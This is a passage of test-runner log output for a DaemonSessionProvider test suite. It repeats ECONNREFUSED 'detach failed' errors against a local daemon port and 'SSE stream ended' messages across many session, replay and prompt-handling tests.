address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > rejects stale-session pending prompt refreshes
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not restart the event stream after prompt acceptance by default
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not restart the event stream after prompt acceptance by default
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps prompt loading active after non-blocking prompt acceptance
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps prompt loading active after non-blocking prompt acceptance
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > restarts the event stream when aborting the subscription throws
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > restarts the event stream when aborting the subscription throws
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > shows waiting state when a queued prompt starts before assistant output
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > shows waiting state when a queued prompt starts before assistant output
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles non-blocking prompts when turn completion arrives before acceptance returns
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > settles non-blocking prompts when turn completion arrives before acceptance returns
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > allows the next prompt after a turn completes before acceptance returns
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > allows the next prompt after a turn completes before acceptance returns
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > rejects the prompt when turn_error arrives before acceptance returns
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > rejects the prompt when turn_error arrives before acceptance returns
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > sends image prompt content through the daemon action
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > sends image prompt content through the daemon action
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > passes retry prompts through the daemon action
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > passes retry prompts through the daemon action
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > submits permission selections with optional answers
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > exposes pending permission blocks
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > exposes pending permission blocks
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > exposes workspace event signals from daemon session events
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > exposes workspace event signals from daemon session events
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > logs settings reloads without inserting daemon debug blocks
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > treats prompt abort during cancel as cancellation and keeps busy until cancel completes
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > treats prompt abort during cancel as cancellation and keeps busy until cancel completes
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > ends assistant streaming when prompt fails with a non-abort error
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > coalesces a burst of streamed chunks into one complete ordered transcript
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > flushes buffered transcript events on unmount instead of dropping them
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > flushes buffered transcript events on unmount instead of dropping them
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not insert abort errors from shell commands into the transcript
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps cancellation turn errors in the transcript
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps cancellation turn errors in the transcript
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > exposes prompt cancellation events as transcript blocks
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > exposes prompt cancellation events as transcript blocks
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps forward-failed prompt cancellations out of blocks
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps forward-failed prompt cancellations out of blocks
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > exposes catchingUp on resume and clears it on replay_complete
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not re-arm catchingUp after injecting replay for a resumed session
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > never sets catchingUp on a fresh subscription (no Last-Event-ID)
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > clears prompt state and transcript when reconnect attaches a different session
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > clears prompt state and transcript when reconnect attaches a different session
[DaemonSessionProvider] terminal session error (sessionId=session-a, status=404, message=missing session)
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > reuses the same session client after a normal SSE stream end
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not inject replay snapshot again after a normal SSE stream end
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > does not inject replay snapshot again after a normal SSE stream end
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > injects replay snapshot on initial session load
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > uses bounded replay truncation to enable history pagination without rendering it
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > uses history_truncated marker recordId as pagination anchor when session_updates lack one
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > prefers session_update recordId over marker recordId for pagination anchor
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > renders bounded replay truncation when no pagination anchor is available
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > uses daemon historyAnchorRecordId when neither marker nor session_updates carry a recordId
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps replayed non-turn events from marking a prompt as waiting
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps restored active prompts streaming after replay completes
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps restored active prompts streaming after an SSE stream end
[DaemonSessionProvider] SSE stream ended
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps restored active prompts streaming after an SSE stream end
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stderr | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] detach failed: [TypeError: fetch failed] {
[cause]: Error: connect ECONNREFUSED 127.0.0.1:4170
[90m at TCPConnectWrap.afterConnect [as oncomplete] (node:net:2021:16)[39m {
errno: [33m-111[39m,
code: [32m'ECONNREFUSED'[39m,
syscall: [32m'connect'[39m,
address: [32m'127.0.0.1'[39m,
port: [33m4170[39m
}
}
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
stdout | src/daemon/session/DaemonSessionProvider.test.tsx > DaemonSessionProvider > keeps local prompts active when a restored prompt completes
[DaemonSessionProvider] SSE stream ended
